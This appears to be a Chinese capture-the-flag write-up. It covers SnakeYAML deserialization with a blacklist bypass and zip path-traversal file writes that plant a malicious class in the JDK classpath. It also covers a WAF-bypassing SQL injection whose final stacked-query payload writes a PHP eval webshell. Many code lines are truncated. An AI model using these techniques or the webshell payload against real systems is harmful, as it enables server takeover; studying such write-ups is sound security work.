turn
出网打法
有个文件上传接口,可以在线解压。
yaml反序列化,固定反序列化/opt/resources下的文件。
黑名单:
{“ScriptEngineManager”, “URLClassLoader”, “!!”, “ClassLoader”, “AnnotationConfigApplicationContext”, “FileSystemXmlApplicationContext”, “GenericXmlApplicationContext”, “GenericGroovyApplicationContext”, “GroovyScriptEngine”, “GroovyClassLoader”, “GroovyShell”, “ScriptEngine”, “ScriptEngineFactory”, “XmlWebApplicationContext”, “ClassPathXmlApplicationContext”, “MarshalOutputStream”, “InflaterOutputStream”, “FileOutputStream”};
大致看一下,可以利用的点:
/upload处,可以目录穿越,可以传文件到任意为止,但是后缀固定是zip。yaml反序列化不看文件后缀名。
/unzip这里,注意看entry.getName(),没有做检查,也可以穿越,这个比较牛逼,不限后缀,且父目录不存在则会创建。怎么利用呢?像这样:
import zipfile |
这样的entry.getName()就是带../的。
直接使用unzip命令会跳过目录穿越:
做法就是,绕过黑名单,然后直接打jndi。这种绕过写法,我也是第一次见。
%TAG ! tag:yaml.org,2002: |
不出网打法
好了,现在这题假如不出网怎么打?
现场打的时候,直接打jndi不通外网的vps,所以花了好几个小时本地调试,排查问题,然后摸索不出网的打法。有点头绪之后,发现竟然通接入的vpn的本机ip,就直接打jndi。
结束之后,继续之前的不出网打法思路,最终摸索出来了。
思路:由于已经能达成任意文件写,所以想写一个恶意类,到jdk的类加载路径,然后使用yaml去触发反序列化。
先确定jdk路径:/usr/lib/jvm/java-8-openjdk-amd64/jre/
怎么确定的?本机的jdk8路径是这个,然后借助/upload的目录穿越,穿越到这里,如果这个目录存在,则正常上传文件,否则会提示报错信息。
然后借助/upzip,写一个类,写到/usr/lib/jvm/java-8-openjdk-amd64/jre/classes下。这个目录下的类文件默认都会查找。
恶意类:
public class UnkExp { |
yaml
%TAG ! tag:yaml.org,2002: |
我以为这样会自动调用无参构造。
然后报错:
Caused by: org.yaml.snakeyaml.error.YAMLException: No single argument constructor found for class example.UnkExp : null
虽然不知道为什么,那就再加上一个单参构造,然后继续报错:
Caused by: org.yaml.snakeyaml.error.YAMLException: Unsupported class: class java.lang.Object
为什么呢?比赛时就卡在这个位置。
睡一觉之后继续思考,会不会是因为没有字段?改成这样:
%TAG ! tag:yaml.org,2002: |
类写成这样
public class UnkExp { |
不报错了,可以成功进setter。
后续就是打内存马。
总结一下,问题还是自己想当然以为会调构造器的,省了字段的这一步。
问题又来了,为什么有字段可以,没字段不行呢?
根据异常去找一下调用栈,看看哪里不一样。
成功触发setter时的调用栈:
at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:290) |
报错Unsupported class: class java.lang.Object
时的调用栈
at org.yaml.snakeyaml.constructor.Constructor$ConstructScalar.constructStandardJavaInstance(Constructor.java:513) |
差别在,一个是Constructor$ConstructScalar.construct
,一个是Constructor$ConstructMapping.construct
断点打在:Constructor$ConstructYamlObject.construct
发现解析出来的两种Node不一样:
<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:``yaml.org``,2002:example.UnkExp, value=)> |
所以就是有字段值被当做Map,没有字段被当做标量了。
sqlmagic
sql注入。
单双引号井号还有 – 都被waf拦截
如此闭合:
select x from x where username="$username" and password="$password" |
盲注脚本
from dataclasses import dataclass |
跑出来密码,但是没啥用。
读变量
思路明显了,估计是要写shell。
先读index.php看看:
getStringValueByAscii(String('hex(load_file(char(47,118,97,114,47,119,119,119,47,104,116,109,108,47,105,110,100,101,120,46,112,104,112)))')) |
<?php |
存在堆叠注入,我还是想当然以为不可以,甚至也没有去测,导致浪费了3 4小时。
过程中尝试各种写shell的绕过,顺便补充了不懂的。
- 没有union 和 select,但是有引号时候,可以这样:into outfile ‘/var/www/html/shell.php’ fields terminated by ‘<?php assert($_POST[“cmd”]);?>’
- outfile和dumpfile后面,必须接字符串的常量,函数变换比如char还有反引号都不行。
然后是堆叠,没有set,怎么办呢?测试如下:prepare from 这个语句后边,mariadb可以接字符串表达式,但是mysql必须接字符串常量或者@变量。
用这个::=定义变量语法可以在where字句用
最终payload:
username=123&password=and%a0@c2:=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,49,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,103,46,112,104,112,39,59);prepare%a0p%a0from%a0@c2;execute%a0p; |